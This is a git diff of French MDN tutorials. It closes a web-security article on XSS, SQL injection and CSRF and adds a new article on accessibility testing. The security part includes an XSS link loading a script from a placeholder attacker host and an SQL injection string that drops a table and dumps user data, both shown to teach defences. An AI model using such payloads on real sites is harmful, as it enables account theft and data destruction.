    - On prendra par exemple une fonction de recherche dans un site où les termes recherchés sont encodés en tant que paramètres dans l'URL, et que ces termes sont affichés en permanence avec les résultats. Un attaquant peut construire un lien de recherche contenant un script malicieux en tant que paramètre (ex: http://mysite.com?q=beer<script%20src="http://sitedangereux.com/malicieux.js"></script>) et le transmettre par e-mail à un autre utilisateur. Si l'utilisateur ciblé clique sur ce "lien intéressant", le script sera exécuté quand les résultats de la recherche seront affichés. Comme vu auparavant, cela donne à l'attaquant toute les informations dont il a besoin pour se connecter sur le site avec le compte de la victime — potentiellement faire des achats en tant que cet utilisateur ou accèder à la liste de contacts..
    • -
  • Une vulnérabilité XSS persistante sera celle où le script malicieux est stocké sur le site web puis affiché, sans modification, un peu plus tard par les autres utilisateurs et exécuté à leur insu.
    - Par exemple, un écran de discussion qui accepte les commentaires contenant du code HTML pur peuvent stocker le script malicieux de l'attaquant. Quand les commentaires sont affichés le script est exécuté et peut ensuite transmettre à l'attaquant les informations nécessaires pour accèder au compte de l'utilisateur. Cette méthode d'attaque est extrêmement courante et efficace, parce que l'attaquant n'a pas besoin d'avoir une relation directe avec les victimes.
    -
    - Alors que l'envoi de données avec POST ou GET est la source la plus commune de vulnérabilité XSS, toute donnée en provenance du navigateur web est potentiellement vulnérable (cela inclut l'affichage des données des cookies par le navigateur, ou les fichiers de l'utilisateur qui sont chargés et affichés).
    • -
- -

La meilleur défense contre les vulnérabilités XSS est de supprimer ou désactiver toutes les balises qui peuvent potentiellement contenir des instructions pour exécuter du code. Pour HTML cela inclut les tags comme <script>, <object>, <embed>, et <link>.

- -
-

Il est nécessaire de traiter les données saisies par l'utilisateur pour être sûr qu'il ne puisse ni exécuter de scripts ni pertuber le fonctionnement normal du site (ce procédé est appelé input sanitization en anglais). De nombreux frameworks proposent par défaut cette vérification sur les entrées des formulaires.

-
- -

Injection SQL

- -

L'injection SQL est une vulnérabilité qui permet à un attaquant d'exécuter du code SQL frauduleux sur une base de données, permettant l'accès, la modification ou la suppression des données quelque soit le droit de l'utilisateur. Une attaque par injection réussie peut permettre l'usurpation d'un compte, la création d'un compte avec les droits administrateur, l'accès à toute les données du serveur, ou la modification / destruction des données pour le rendre inutilisable.

- -

Cette vulnérabilité est présente quand la saisie de l'utilisateur est transmise à une requête SQL sous-jacente qui peut modifier le sens de la requête. Par exemple, dans le code ci-dessous qui devrait lister l'ensemble des utilisateurs avec un nom particulier (userName) et qui provient d'un formulaire HTML:

- -
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
- -

Si l'utilisateur entre un nom correct cela marchera comme voulu. Cependant un utilisateur malveillant peut changer complètement le sens de cette requête SQL pour obtenir la requête qui suit, simplement en ajoutant le texte, en gras ci dessous, en tant que nom, cette requête, modifiée, va créer une requête SQL valide qui va supprimer la table users et sélectionner toute les données de la table userinfo (révèlant les informations de chaque utilisateur). Tout cela est rendu possible à cause du début du texte injecté  ('a';) qui va complèter la requête d'origine (' est le symbole pour délimiter une chaine de texte en SQL).

- -
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
-
- -

Le moyen pour éviter ce type d'attaque est de s'assurer que toute saisie de l'utilisateur transmise à une requête SQL ne peut pas changer la nature de cette requête. Un moyen de faire cela est d'échapper tous les caractères de la saisie utilisateur quand ils ont un sens particulier en SQL.

- -
-

Note : la requête SQL considère le symbole ' comme le début et la fin d'une chaine de texte. En ajoutant le caractère \ nous allons "échapper" ce symbole, et dire à SQL de le traiter comme une simple partie de la chaîne de caractères.

-
- -

Dans la requête ci-dessous nous avons échappé le caractère '. Le SQL va donc interpréter la chaine complète (en gras) comme un nom (un nom étrange en effet, mais pas nuisible).

- -
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';
-
-
- -

Les frameworks web se chargent bien souvent d'échapper ces caractères à votre place. Django, par exemple, s'assure que toute saisie d'un utilisateur transmise au modèle est bien échappée.

- -
-

Note: Cette section s'inspire beaucoup des informations de Wikipedia ici.

-
- -

Falsification de requête inter-sites (CSRF)

- -

Les attaques CSRF permettent à un utilisateur malveillant d'éxécuter des actions à l'a ide des identifiants d'un autre utilisateur sans que cet utilisateur ne soit informé ou consentant.

- -

Ce type d'attaque s'explique mieux avec un exemple. John est l'utilisateur malveillant qui sait qu'un site particulier permet à des utilisateurs authentifiés d'envoyer de l'argent vers un compte particulier en utilisant des requêtes HTTP POST qui incluent le numéro de compte et le montant. John construit un formulaire qui inclut son numéro de compte et un montant dans des champs cachés (invisibles) et le transmet à un autre utilisateur du site (avec le bouton de validation déguisé en un lien vers un site "pour devenir riche".

- -

Si un utilisateur clique sur le bouton de validation, une requête HTTP POST, contenant les informations de transaction, va être transmise au serveur ainsi que le cookie que le navigateur web associe au site (l'ajout à la requête du cookie associé au site est le comportement normal du navigateur). Le serveur va vérifier le cookie d'authentification, et l'utiliser pour déterminer si l'utilisateur est ou n'est pas connecté et donc permet ou non la transaction.

- -

Au final tout utilisateur qui va cliquer sur le bouton de validation, alors qu'il sera connecté sur le site d'échange d'argent, va autoriser la transaction. John va devenir riche !

- -
-

Note : l'astuce ici est que John n'a pas besoin d'accéder aux cookies de l'utilisateur (ou à ses identifiants), le navigateur web stocke cette information et l'inclut automatiquement dans toute les requêtes destinées au serveur associé.

-
- -

Un moyen de prévenir ce type d'attaque est que le serveur demande que chaque requête POST possède un secret généré par le serveur et spécifique à l'utilisateur (le secret serait transmis par le serveur lors de l'envoi du formulaire de transaction). Cette approche empêche John de créer son propre formulaire car il n'est pas capable de connaitre le secret que le serveur founit à l'utilisateur. Même si il venait à trouver ce secret et créer un formulaire pour un utilisateur particulier, il ne pourrait pas utiliser ce formulaire pour attaquer d'autres utilisateurs

- -

Les framework web incluent souvent des mécanismes afin de prévenir les attaques CSRF.

- -

Autre menaces

- -

Les autres attaques et vulnérabilités courantes incluent:

- -
    -
  • Clickjacking. Dans cette attaque un utilisateur malveillant détourne les clics destinés à un site visible et les envoie dans une page cachée en dessous. Cette technique peut être utilisée, par exemple, pour afficher le site légitime d'une banque mais capturer les identifiants d'authentification dans une <iframe> invisible controlée par l'attaquant. Sinon cela peut être utilisé pour obtenir de l'utilisateur qu'il clique sur le bouton visible d'un site, mais en le faisant il va en fait cliquer involontairement sur un bouton différent. Comme défense, votre site peut se prévenir d'être inclut dans une iframe d'un autre site en configurant les bonnes en-têtes HTTP.
    • -
  • Déni de Service (DoS). Le déni de service est souvent pratiqué en surchargeant de fausses requêtes un site cible avec afin que l'accès au site soit perturbé pour les usagers légitimes. Les requêtes peuvent simplement être nombreuses, ou elles peuvent individuellement nécessiter une grande quantité de ressource (ex: chargement de fichiers lourds, etc). La défense contre cette attaque se base souvent sur l'identification et le blocage du mauvais trafic tout en autorisant l'arrivée des messages légitimes. Ces défenses sont généralement intégrées ou en amont du serveur web (elle ne font pas partie de l'application web).
    • -
  • Découverte via la navigation dans les répertoires et fichiers. Dans cette famille d'attaque un utilisateur malveillant va tenter d'accèder aux fichiers du serveur web auxquels il ne devrait pas avoir accès. Cette vulnérabilité se produit quand l'utilisateur peut transmettre le nom d'un fichier qui comprend les caractères de navigation dans le système de fichier (par exemple: ../../). La solution est de désinfecter la saisie avant de l'utiliser.
    • -
  • Inclusion de fichiers. Dans cette attaque un utilisateur est capable de spécifier un fichier "involontaire" pour être affiché ou exécuté dans les données transmises au serveur. Une fois chargé ce fichier peut être exécuté sur le serveur web ou du côté client (menant à une attaque XSS). La solution est de vérifier les saisies avant de les utiliser.
    • -
  • Injection de commandes. Les attaques par injection de commande permettent à un utilisateur malveillant d'exécuter des commandes systèmes frauduleuses sur le système hôte. La solution est de vérifier chaque saisie des utilisateurs avant de les utiliser dans les appels systèmes.
    • -
- -

Il y en a beaucoup d'autres. Pour une liste plus exhaustive vous pouvez consulter la catégorie failles de sécurité Web (Wikipedia) et la catégorie Attaques (du projet OWASP).

- -

Quelques messages clés

- -

La majorité des attaques citées précédement réusissent lorsque l'application web fait confiance aux données provenant du navigateur web. Quoique vous fassiez d'autre pour améliorer la sécurité de votre site web, vous devez désinfecter toutes les saisies des utilisateurs avant de les afficher, de les utiliser dans les requêtes SQL ou de les transmettre dans les appels du système ou du système de fichier.

- -
-

Important : la leçon la plus importante à retenir concernant la sécurité d'un site web est de ne jamais faire confiance aux données du navigateur web. Cela comprend les requêtes GET avec la présence des paramètres dans l'URL, les données envoyées avec les POST, les en-têtes HTTP, les cookies, les fichiers chargés par l'utilisateur, etc. Il faut toujours vérifier et assainir les données. Il faut toujours s'attendre au pire.

-
- -

Quelques autres points que vous pouvez mettre en place :

- -
    -
  • Utilisez une politique de gestion des mots de passe efficace. Encouragez les mots de passe solides avec leur renouvellement fréquent. Prenez en compte une authentification à deux facteurs sur votre site (l'utilisateur, en plus du mot de passe, devra fournir un autre code d'authentification généralement fourni par un matériel physique, que seul l'utilisateur possède, comme un code envoyé sur le téléphone par SMS).
    • -
  • Configurez vos serveurs web pour utiliser HTTPS et HTTP Strict Transport Security (HSTS). HTTPS chiffre les données transmises entre le client et le serveur. Cela garantit que les données d'authentification, les cookies, les données transistant avec POST et les informations d'en-têtes deviennent moins disponibles pour l'attaquant.
    • -
  • Tenez vous informé des dernières menaces (la liste actuelle d'OWASP est ici) et préoccupez vous toujours des vulnerabilités les plus courantes en premier.
    • -
  • Utilisez des outils de recherche de vulnérabilités  pour faire automatiquement des recherches de bug sur votre site (votre site pourra également proposer un programme de buf bounty pour déceler des bugs, comme le fait Mozilla ici).
    • -
  • Ne stockez et n'affichez que les données nécessaires. Par exemple, si votre utilisateur doit stocker des données sensibles comme des informations bancaires, affichez seulement ce qui sera suffisant pour être identifié par l'utilisateur, mais pas suffisament pour être copié par un attaquant et être utilisé sur un autre site. La méthode la plus courante en ce moment est de n'afficher que les quatre derniers chiffres du numéro de carte bancaire.
    • -
- -

Les frameworks web peuvent aider à atténuer beaucoup des vulnérabilités les plus courantes.

- -

Résumé

- -

Cet article a présenté le concept de sécurité web et quelques-unes des menaces courantes vis-à-vis desquelles il faut se protéger. Le plus important à comprendre est qu'une application web ne peut pas faire confiance aux données provenant du navigateur ! Les données des utilisateurs doivent toutes être nettoyées avant d'être affichées ou utilisées dans les requêtes SQL ou dans les appels systèmes.

- -

C'est la fin de ce module, couvrant vos premiers pas dans le développement d'un site web côté serveur. Nous espérons que vous avez apprécié apprendre les concepts fondamentaux. Vous êtes désormais apte à choisir un framework web et à commencer à programmer.

- -

{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}

diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.html new file mode 100644 index 0000000000..0af81a09b0 --- /dev/null +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.html @@ -0,0 +1,684 @@ +--- +title: Gérer les problèmes courants d'accessibilité +slug: Learn/Tools_and_testing/Cross_browser_testing/Accessibilité +tags: + - Accessibilité + - Apprentissage + - Article + - CSS + - Clavier + - Débutant + - HTML + - JavaScript + - Outils + - navigateur croisé + - test +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}
+ +

Tournons maintenant notre attention vers l'accessibilité, les informations sur les problèmes communs, comment faire des tests simples, et comment faire pour utiliser les outils d'audit/automatisation pour trouver les problèmes d'accessibilités.

+ + + + + + + + + + + + +
Prérequis : +

Connaissances avec le noyau des langages HTML, CSS et JavaScript ; une idée du haut niveau des principes du test en navigateur croisé.

+
Objectif : +

Être capable de diagnostiquer les problèmes courants d'Accessibilité, et utiliser les outils et techniques appropriés pour les résoudre.

+
+ +

Qu'est-ce que l'accessibilité ?

+ +

Quand on parle d'accessibilité dans le contexte de la technologie web, la plupart des gens pense directement au fait de s'assurer que les sites web/apps sont utilisables par les personnes avec des handicap, par exemple :

+ +
    +
  • Les personnes malvoyantes utilisant des lecteurs d'écran ou l'élargissement/zoom pour accéder au texte.
    • +
  • Les personnes avec des troubles fonctionnels moteurs utilisant le clavier (ou d'autres fonctions sans souris) pour activer des fonctionnalités de site web.
    • +
  • Les personnes avec des troubles auditifs dépendant des légendes/sous-titres ou d'autres textes alternatifs pour du contenu audio/vidéo.
    • +
+ +

Toutefois, ce serait faux de réduire l'accessibilité uniquement aux handicaps. Le vrai but de l'accessibilité est de faire en sorte que vos sites web/applis soient utilisables par le plus grand nombre de personnes dans le plus grand nombre de contextes possibles, pas uniquement ces utilisateurs qui utilisant des ordinateurs de bureau puissants. Les exemples extrêmes pourraient inclure :

+ +
    +
  • Les utilisateurs sur des appareils mobiles.
    • +
  • Les utilisateurs sur des appareils de navigation alternatifs comme les TVs, les montres, etc.
    • +
  • Les utilisateurs de vieux appareils qui n'ont pas les derniers navigateurs.
    • +
  • Les utilisateurs avec des appareils aux caractéristiques basses qui peuvent avoir des processeurs lents.
    • +
+ +

D'une certaine manière, la totalité de ce module concerne l'accessibilité — le test en navigateur croisé assure que vos sites peuvent être utilisé par le plus de personne possible. Qu'est-ce que l'accessibilité ? décrit plus largement et précisément l'accessibilité que cet article ne le fait.

+ +

Cela dit, cet article couvrira les problèmes en navigateur croisé et de test entourant les personnes avec des handicaps, et comment ils utilisent le Web. Nous avons déjà parlé des autres domaines comme le responsive design et la performance à d'autres endroits dans ce module.

+ +
+

Note : Comme beaucoup de choses dans le développement web, l'accessibilité ne concerne pas la totale réussite ou échec ; l'accessibilité à 100% est quasiment impossible à atteindre pour tous les contenus, spécialement quand les sites deviennent plus complexes. Il s'agit plutôt de faire un effort pour rendre votre contenu accessible au plus grand nombre de personnes possible, avec du code de prévention, et se tenir aux meilleures pratiques.

+
+ +

Problèmes d'accessibilité courants

+ +

Dans cette section nous détaillerons certains des problèmes principaux qui se manifestent autour de l'accessibilité, liée à des technologies spécifiques, avec les bonnes pratiques à adopter, et quelques tests rapides que vous pouvez faire pour voir si vos sites vont dans le bon sens.

+ +
+

Note : L'accessibilité est moralement la bonne chose à faire, est bonne pour les affaires (nombre élevé d'utilisateurs handicapés, utilisateurs sur des appareils mobiles, etc. représentent un segment du marché signifiant), mais c'est aussi illégal dans de nombreuses régions de la planète de ne pas rendre les propriétés du web accessibles aux personnes avec des handicaps. Pour plus d'informations, lisez Accessibility guidlines and the law.

+
+ +

HTML

+ +

La sémantique HTML (où les éléments sont utilisés à leur fin prévues) est accessible sans aucune modification — les contenus sont lisibles par les spectateurs voyants (à condition que vous n'ayez rien fait d'absurde comme rendre le texte bien trop petit ou ne l'ayez caché en utilisant du CSS), mais il sera aussi utilisable par des technologies d'assistance comme les lecteurs d'écran (applis qui lisent littéralement une page à leurs utilisateurs), et apporte également d'autres avantages.

+ +

La structure sémantique

+ +

Le quick win le plus important en sémantique HTML et d'utiliser une structure de rubriques et de paragraphes pour votre contenu ; parce que les utilisateurs de lecteurs d'écran ont tendance à utiliser les rubriques d'un document comme indications pour trouver le contenu qu'il recherche plus rapidement. Si votre contenu n'a pas de rubriques, tout ce qu'ils auraient c'est un énorme mur de texte sans aucune indication pour trouver quelque chose. Exemples de bon et de mauvais HTML :

+ +
<font size="7">My heading</font>
+<br><br>
+This is the first section of my document.
+<br><br>
+I'll add another paragraph here too.
+<br><br>
+<font size="5">My subheading</font>
+<br><br>
+This is the first subsection of my document. I'd love people to be able to find this content!
+<br><br>
+<font size="5">My 2nd subheading</font>
+<br><br>
+This is the second subsection of my content. I think is more interesting than the last one.
+ +
<h1>My heading</h1>
+
+<p>This is the first section of my document.</p>
+
+<p>I'll add another paragraph here too.</p>
+
+<h2>My subheading</h2>
+
+<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
+
+<h2>My 2nd subheading</h2>
+
+<p>This is the second subsection of my content. I think is more interesting than the last one.</p>
+ +

De plus, votre contenu doit avoir un sens logique dans son code source — vous pourrez toujours le placer où vous voulez en utilisant du CSS plus tard, mais vous devez avoir un bon code source avec lequel commencer.

+ +

Comme test, vous pouvez désactiver le CSS d'un site et voir à quel point il est compréhensible sans ce dernier. Vous pouvez le faire manuellement juste en retirant le CSS de votre code, mais la façon la plus simple reste d'utiliser les fonctionnalités du navigateur, par exemple :

+ +
    +
  • Firefox : Sélectionnez Affichage > Style de page > Aucun style depuis le menu principal.
    • +
  • Safari : Sélectionnez Développement > Désactiver les styles depuis le menu principale (pour activer le menu Développement, choisissez Safari > Préférences > Avancés > Montrer le menu développement dans la barre de menu).
    • +
  • Chrome : Installez l'extension Web Developer Toolbar, puis redémarrer le navigateur. Cliquez sur l'icône engrenage qui apparaîtra, puis sélectionnez CSS > Désactiver tous les styles.
    • +
  • Edge : Sélectionnez Vue > Style > Aucun style depuis le menu principal.
    • +
+ +

Utiliser l'accessibilité native du clavier

+ +

Certaines fonctionnalités HTML peuvent être sélectionnées en utilisant uniquement le clavier — c'est le comportement par défaut, disponible depuis les prémices du web. Les éléments qui ont cette capacité sont les plus communs qui permettent à l'utilisateur d'interagir avec les pages web, à savoir les liens, {{htmlelement("button")}}s, et les éléments des formulaire comme {{htmlelement("input")}}.

+ +

Vous pouvez essayer ceci en utilisant notre exemple native-keyboard-accessibility.html (voir le code source) — ouvrez le dans un nouvel onglet, et essayez de presser la touche tab ; après quelques pressions, vous devriez voir la focalisation du tab commencer à se déplacer entre les différents éléments focalisables ; les éléments focalisés ont un style de mise en avant par défaut dans tous les navigateurs (cela diffère peu entre les différents navigateurs) donc vous pouvez dire quel éléments est focalisé.

+ +

+ +

Vous pouvez ensuite presser Entrée/Retour pour accéder à un lien focalisé ou presser un bouton (nous avons inclus un peu de JavaScript pour que les boutons renvoies un message d'alerte), ou commencer à taper pour entrer du texte dans un des input texte (d'autres éléments de formulaire ont différents contrôles, par exemple l'élément {{htmlelement("select")}} peut avoir ses options affichées et navigable en utilisant les touches haut et bas).

+ +

Notez que différents navigateurs peuvent avoir différentes options de contrôle par clavier disponibles. La plupart des navigateurs modernes respectent le modèle de tab écrit plus haut (vous pouvez aussi faire une Shift + Tab pour reculer entre les éléments focalisables), mais certains navigateurs ont leurs propres particularités :

+ +
    +
  • Firefox pour Max ne tabule pas par défaut. Pour l'activer, vous devez aller dans Préférences > Avancées > Général, puis décochez "Toujours utiliser les curseurs pour naviguer dans une page". Ensuite, vous devez ouvrir les Préférences Système de votre Mac, puis sélectionnez le boutons radio Tous les contrôles.
    • +
  • Safari ne vous permet pas de naviguer avec tab par défaut ; pour l'activer, vous devez ouvrir les Préférences de Safari, allez dans Avancées, et cochez la case à cocher Presser tab pour mettre en avant chaque item sur une page web.
    • +
+ +
+

Important : Vous devez jouer ce genre de test sur toutes les pages que vous écrivez — assurez-vous que la fonctionnalité peut être accessible par le clavier.

+
+ +

Cet exemple souligne l'importance de l'utilisation de la sémantique correcte d'élément pour le travail correct. C'est possible de styler n'importe quel élément pour qu'il ressemble à un lien ou un bouton avec le CSS, et de le faire se comporter comme un lien ou un bouton avec JavaScript, mais ils ne seront toujours pas des liens ou des boutons, et vous perdrez beaucoup de l'accessibilité que ces éléments vous fournissent pour rien. Donc ne le faîte pas si vous pouvez l'éviter.

+ +

Un autre conseil — comme vu dans notre exemple, vous pouvez contrôler comment vos éléments focalisables paraissent quand ils sont focalisés, en utilisant la pseudo-class :focus. C'est une bonne idée de doubler les styles focus et hover, comme ça vos utilisateurs auront un indice visuel qu'un contrôle fera quelque chose lorsqu'il sera activé, qu'ils utilisent la souris ou le clavier :

+ +
a:hover, input:hover, button:hover, select:hover,
+a:focus, input:focus, button:focus, select:focus {
+  font-weight: bold;
+}
+ +
+

Note : Si vous décidez de retirer le style focus par défaut en utilisant du CSS, assurez-vous de le remplacer par autre chose qui s'accorde au mieux avec votre design — c'est un outil d'accessibilité de grande valeur, qui ne doit pas être supprimé.

+
+ +

Intégrer l'accessibilité clavier

+ +

Parfois ça n'est pas possible d'éviter la perte de l'accessibilité clavier. Vous pouvez avoir hérité d'un site où la sémantique n'est pas parfaite (peut-être que vous vous êtes retrouvé avec un CMS horrible qui génère des boutons créés avec des <div>s), ou que vous utilisez un contrôle complexe qui n'a pas d'accessibilité clavier intégré, comme l'élément {{htmlelement("video")}} (étonnamment, Opera est le seul navigateur qui vous permet de tabuler dans l'élément <video> avec les contrôles par défaut du navigateur). Vous avez quelques options ici :

+ +
    +
  1. Créer des contrôles personnalisés en utilisant les éléments <button> (sur lequel nous pouvons tabuler par défaut !) et JavaScript pour les relier à leur fonction. Pour des bons exemples voir Creating a cross-browser video player.
    2. +
  2. Créer des raccourcis clavier en utilisant JavaScript, les fonctions sont activés quand vous appuyez sur une certaine touche du clavier. Voir Desktop mouse and keyboard controls pour des exemples en rapport avec le jeu qui peuvent être adaptés à d'autres fins.
    3. +
  3. Utilisez des approches intéressantes pour simuler le comportement d'un bouton. Prenez par exemple notre exemple fake-div-buttons.html (voir le code source). Nous donnons à nos faux boutons <div> la capacité d'être focalisé (y compris avec la tabulation) en donnant à chacun d'entre eux l'attribut tabindex="0" (voir l'article tabindex de WebAIM pour plus de détails utiles). Cela nous permet de tabuler sur les boutons, mais pas de les activer avec la toucher Entrée/Retour. Pour faire cela, nous devons ajouter ce petit bout de tromperie en JavaScript :
    4. +
  4. + 
    document.onkeydown = function(e) {
+  if(e.keyCode === 13) { // The Enter/Return key
+    document.activeElement.onclick(e);
+  }
+};
    + Ici nous ajoutons un listener à l'objet document pour détecter quand une touche a été appuyée sur le clavier. Nous vérifions quelle touche a été pressée avec la propriété d'évènement d'objet keyCode ; si c'est le code de la touche qui retourne Entrée/Retour, on exécute la fonction stockée dans le onclick du bouton en utilisant document.activeElement.onclick(). activeElement nous donne l'élément courant qui est focalisé sur la page.
    5. +
+ +
+

Note : Cette technique ne fonctionnera que si vous configurer vos propres gestionnaires d'évènement avec les propriétés de gestion d'évènement (par ex. onclick). addEventListener ne fonctionnera pas. C'est beaucoup de prises de tête pour construire la fonctionnalité de retour. Et il y a d'autres problèmes rattachés avec. Vaut mieux commencer par utiliser les bons éléments pour leurs buts initiaux.

+
+ +

Les textes alternatifs

+ +

Les textes alternatifs sont très importants pour l'accessibilité — si une personne a un trouble visuel ou auditif qui l'empêche de voir ou d'entendre un contenu, alors c'est un problème. Le texte alternatif le plus simple disponible est le modeste attribut alt, que nous devrions inclure dans toutes les images qui contiennent un contenu pertinent. Il peut contenir une description de l'image qui transmet clairement son sens et son contenu sur la page, pour être récupéré par un lecteur d'écran et lu à l'utilisateur.

+ +
+

Note : Pour plus d'informations, lisez Text alternatives.

+
+ +

L'oubli de texte alt peut être testé de bien des façons, par exemple en utilisant le {{anch("Auditing tools")}} d'accessibilité.

+ +

Le texte alt est légèrement plus complexe pour du contenu vidéo ou audio. Il y a une manière de gérer l'affichage du texte (par ex. les sous-titres) et de les afficher quand la vidéo est jouée, sous le forme de l'élément {{htmlelement("track")}}, et du format WebVTT (voir Ajouter des légendes et des sous-titres à des vidéos HTML5 pour un tutoriel détaillé). La compatibilité entre navigateur pour cette fonction est assez bonne, mais si vous voulez fournir des textes alternatifs pour de l'audio ou supporter les vieux navigateurs, une simple transcription du texte présenté quelque part sur la page ou sur une page séparée peut être une bonne idée.

+ +

Relations et contexte entre élément

+ +

Il y a certaines caractéristiques et pratiques optimales en HTML conçues pour apporter du contexte et des relations entre des éléments lorsqu'aucune n'aurait autrement existé. Les trois exemples les plus courants sont les liens, les libellés de formulaire et les tableau de données.

+ +

La solution pour les textes de type lien c'est que les personnes utilisant des lecteurs d'écran vont souvent utiliser une fonctionnalité commune avec laquelle ils vont récupérer une liste de tous les liens sur la page. Par exemple, une liste de lien libellés "cliquez ici", "cliquez ici", etc. est vraiment mauvaise pour l'accessibilité. Il est préférable pour les textes de type lien d'avoir du sens en contexte et hors contexte.

+ +

Le suivant sur notre liste, l'élément de formulaire {{htmlelement("label")}} est une des fonctionnalités centrales qui nous permet de rendre les formulaires accessibles. Le problème avec les formulaires c'est que vous avez besoin de libellés pour dire quelle donnée doit être entrée dans chaque champs du formulaire. Chaque libellé doit être inclus dans un {{htmlelement("label")}} pour le relier clairement à son champs partenaire (chaque valeur de l'attribut for de <label> doit aller avec la valeur de l'id de l'élément du formulaire), et cela aura du sens même si le code source n'est pas totalement logique (ce qui pour être tout à fait juste devrait être fait).

+ +
+

Note : Lisez Meaningful text labels, pour plus d'information à propos des textes de type lien et les libellés des formulaires.

+
+ +

Pour terminer, un mot rapide sur les tableaux de données. Un tableau de données basique peut être écrit avec des indications très simples (voir bad-table.html en direct, et la source), mais il y a des problèmes — il n'y a aucun moyen pour un utilisateur de lecteur d'écran d'associer des lignes ou des colonnes ensembles comme un groupe de données — pour faire cela vous devez connaître les lignes d'en-têtes, et si elles se dirigent en lignes, colonnes, etc. Cela ne peut être fait qu'en visuel pour un tel tableau.

+ +

Si vous regardez plutôt notre exemple punk-band-complete.html (direct, source), vous pouvez voir plusieurs aides à l'accessibilité en place, comme les entêtes de tableau ({{htmlelement("th")}} et les attributs scope), l'élément {{htmlelement("caption")}}, etc.

+ +
+

Note : Lisez Accessible data tables, pour plus d'information à propos des tableaux accessibles.

+
+ +

CSS

+ +

Le CSS tend à fournir beaucoup moins de caractéristiques fondamentales d'accessibilité que le HTML, mais il peut aussi faire beaucoup de dommage à l'accessibilité s'il est mal utilisé. Nous avons déjà mentionné quelques conseils sur l'accessibilité incluant le CSS :

+ +
    +
  • Utilisez les éléments sémantiques correctes pour définir différent contenu en HTML ; si vous voulez créer un effet visuel différent, utilisez le CSS — n'abusez pas d'un élément HTML pour obtenir l'aspect que vous désirez. Par exemple si vous voulez un texte plus gros, utilisez {{cssxref("font-size")}}, par un élément {{htmlelement("h1")}}.
    • +
  • Assurez-vous que votre code source a du sens sans le CSS ; vous pouvez toujours utilisez le CSS pour styler autant que vous voudrez après.
    • +
  • Vous devez vous assurez que les éléments interactifs comme les boutons et les liens ont des états focus/hover/active appropriés configuré, pour donner à l'utilisateur un indice visuel de leur fonction. Si vous supprimez les styles par défaut pour des raisons stylistiques, assurez-vous de mettre en place des styles de remplacement.
    • +
+ +

Il y a quelques autres considérations que vous devriez prendre en compte.

+ +

Couleur et contraste

+ +

Lorsque vous choisissez une palette de couleurs pour votre site web, vous devez vous assurer que la couleur du texte (au premier plan) contraste bien avec la couleur d'arrière-plan. Votre design peut avoir l'air cool, mais ce n'est pas bon si les personnes avec un handicap visuel comme le daltonisme ne peuvent pas lire votre contenu. Utilisez un outil comme le Color Contrast Checker de WebAIM si votre palette contraste suffisamment.

+ +

Une autre astuce est de ne pas compter sur une couleur seule pour les indications/informations, comme ça ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Plutôt que de marquer en rouge les champs requis d'un formulaire, par exemple, marquez-les avec un astérisque et en rouge.

+ +
+

Note : un contraste élevé permettra également à toute personnes utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, comme avec la lumière du soleil.

+
+ +

Cacher du contenu

+ +

Il y a plusieurs cas où un design visuel requerra que tout le contenu ne soit pas montré d'un seul coup. Par exemple, dans notre Exemple de boîte d'info avec onglets (voir le code source) nous avons trois panneau d'information, mais nous les positionnons les uns sur les autres et fournissons des onglets qui peuvent être cliqués pour montrer chacun d'entre eux (c'est aussi accessible au clavier — vous pouvez utiliser alternativement Tab et Entrée/Retour pour les sélectionner).

+ +

+ +

Les utilisateurs de lecteur d'écran ne se soucient pas vraiment de cela — ils sont satisfaits tant que le contenu a du sens dans le code source, et qu'ils peuvent entièrement y accéder. Le positionnement absolute (comme utilisé dans cet exemple) est souvent vu comme l'un des meilleur mécanismes pour cacher du contenu pour des effets visuels, parce que ça n'empêche pas les lecteur d'écran d'y accéder.

+ +

D'un autre côté, vous ne devriez pas utiliser {{cssxref("visibility")}}:hidden ou {{cssxref("display")}}:none, parce qu'il cache le contenu aux lecteurs d'écran. A moins que, bien entendu, il y est une bonne raison qui justifie que ce contenu soit caché aux lecteurs d'écran.

+ +
+

Note : Invisible Content Just for Screen Reader Users vous décrira beaucoup de détails utilesà propos de ce sujet.

+
+ +

JavaScript

+ +

Le JavaScript a le même type de problèmes que le CSS concernant l'accessibilité — cela peut être désastreux pour l'accessibilité si mal utilisé, ou trop utilisé. Nous avions déjà abordé quelques problèmes d'accessibilité en rapport avec le JavaScript, principalement dans le champ de la sémantique HTML — vous devez toujours utiliser une sémantique HTML appropriée pour implémenter une fonctionnalité qu'importe où elle est disponible, par exemple utiliser des liens et des boutons de façon appropriée. N'utilisez pas les éléments <div> avec du code JavaScript pour simuler une fonctionnalité si c'est possible — c'est une source d'erreur, et ça fonctionne mieux d'utiliser les fonctionnalités disponibles qu'HTML vous fournit.

+ +

Fonctionnalité simple

+ +

Normalement, une fonctionnalité simple doit marcher uniquement avec le HTML en place — le JavaScript ne doit pas être utilisé que pour améliorer la fonctionnalité, par pour la construire en entier. Les bons usages de JavaScript incluent :

+ +
    +
  • Fournir une validation de formulaire côté client, qui informe rapidement les utilisateurs des problèmes avec leurs entrées dans le formulaire, sans qu'ils aient à attendre que le serveur vérifie les données. Si ça n'est pas disponible, le formulaire marchera toujours, mais la validation sera peut-être plus lente.
    • +
  • Fournir des contrôles personnalisés pour les <video>s HTML5 qui sont accessibles pour les utilisateurs uniquement au clavier (comme nous l'avons dit auparavant, les contrôles par défaut de navigateur ne sont pas accessibles au clavier dans la plupart des navigateurs).
    • +
+ +
+

Note : Accessible JavaScript de WebAIM fourni des renseignements approfondis à propos des considérations pour du JavaScript accessible.

+
+ +

